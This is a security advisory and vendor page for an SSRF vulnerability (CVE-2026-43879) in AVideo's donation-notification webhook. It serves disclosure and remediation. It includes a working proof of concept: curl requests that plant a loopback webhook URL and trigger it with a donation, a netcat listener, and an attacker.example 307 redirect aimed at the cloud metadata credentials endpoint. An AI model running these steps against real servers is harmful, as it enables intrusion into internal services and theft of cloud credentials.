Summary
An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.
Details
Sink: unvalidated curl POST in afterDonation
plugin/YPTWallet/YPTWallet.php:1043-1099
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
...
$donation_notification_url = self::getDonationNotificationURL($users_id);
...
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081
...
ob_start();
curl_exec($ch);
ob_end_clean();
The gate at line 1064 is isValidURL() only. That helper is a pure format check:
objects/functions.php:4305-4315
function isValidURL($url)
{
if (empty($url) || !is_string($url)) {
return false;
}
if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.
The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.
Storage path has no SSRF validation
plugin/YPTWallet/view/saveConfiguration.php:31-33
if(isset($_REQUEST['donation_notification_url'])){
$obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}
plugin/YPTWallet/YPTWallet.php:1015-1034
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
if (strlen($url) > 2048) { ... }
$user = new User($users_id);
return $user->addExternalOptions('donation_notification_url', $url);
}
No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.
Trigger
plugin/CustomizeUser/donate.json.php:88,108
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}
Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.
FOLLOWLOCATION bypass
Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.
What escapes to the internal request
The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF, exfiltration must use out-of-band channels.
PoC
Prerequisites: two authenticated accounts on the target, Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).
Step 1, Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
--data-urlencode 'CryptoWallet='
Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).
Step 2, Start a listener on the target host to observe the blind request:
# On the target server
nc -lvp 8080
Step 3, Bob donates the minimum amount to Alice (captcha solved):
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
--data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'
donate.json.php:108 calls AVideoPlugin::afterDonation(...).
Step 4, Observe the netcat listener: the AVideo server issues:
POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...
from_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...
Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.
Step 5, FOLLOWLOCATION bypass. Alice registers an external URL she controls:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=https://attacker.example/r' \
--data-urlencode 'CryptoWallet='
Alice's web server at attacker.example/r responds to the POST with:
HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Because CURLOPT_FOLLOWLOCATION=true and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.
Impact
- Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
- State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the
messagefield is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies. - Cloud metadata reachability via 307 redirect chain. Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.
- Blindness limits direct data exfiltration (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.
- No CSRF protection on
saveConfiguration.php, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-43879 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-43879? CVE-2026-43879 is a medium-severity server-side request forgery (SSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-43879? CVE-2026-43879 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-43879? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-43879? No fixed version is listed for CVE-2026-43879 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-43879 exploitable, and should I be worried? Whether CVE-2026-43879 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-43879 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-43879? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.